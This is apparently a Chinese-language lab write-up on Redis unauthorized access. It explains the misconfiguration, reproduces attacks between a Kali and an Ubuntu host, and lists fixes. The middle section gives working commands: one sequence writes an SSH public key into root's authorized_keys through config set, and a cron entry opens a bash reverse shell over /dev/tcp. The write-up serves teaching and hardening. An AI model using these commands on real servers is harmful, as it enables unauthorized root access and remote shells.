漏洞原理
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
复现
环境
主机 | ip |
---|---|
靶机:ubuntu20 | 192.168.237.138 |
攻击机:kali2020 | 192.168.237.139 |
利用
利用redis未授权访问写入weshell
靶机开放redis及web服务,攻击机远程访问靶机redis,通过其方式知道web目录路径(报错等)写入webshell。
成功getwebshell。
蚁剑连接。
利用redis未授权修改ssh公钥
靶机上开启ssh服务:service ssh start
ps -e | grep ssh
>>> ssh-keygen -t rsa //在本地主机生成密钥key
>>> cd /root/.ssh
>>> (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
>>> cat /root/key.txt
>>> cat /root/key.txt | redis-cli -h 192.168.0.106 //将txt文件中的公钥导入Redis缓存
>>> cat /root/key.txt | redis-cli -h 192.168.0.106 –x set xxx //使用redis-cli -h ip命令连接靶机,将文件写入,-x 表示将标准输入作为xxx的值
>>> redis-cli -h 192.168.0.106
>>> config set dir /root/.ssh
>>> config set dbfilename authorized_keys
>>> save
redis未授权访问-计划任务反弹shell
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.237.138/5555 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
但是ubuntu反弹是失败,查看一些资料说centos可以反弹成功,但是没有centos环境,只能有空在复现下了。
redis<=5.0.5 主从复制RCE
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
由于我ubuntu上的redis是2.x版本的,暂时复现不了。。后续再补充吧。
参考:https://vulhub.org/#/environments/redis/4-unacc/
修复
1、比较安全的办法是采用绑定IP的方式来进行控制。
请在redis.conf文件找到如下配置
# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
bind 127.0.0.1
2、设置密码,以提供远程登陆
打开redis.conf配置文件,找到requirepass,然后修改如下
requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。 命令如下: redis-cli -h
yourIp -p yourPort//启动redis客户端,并连接服务器 keys * //输出服务器中的所有key 报错如下
(error) ERR operation not permitted 这时候你可以用授权命令进行授权,就不报错了 命令如下:
auth youpassword
3、修改6379端口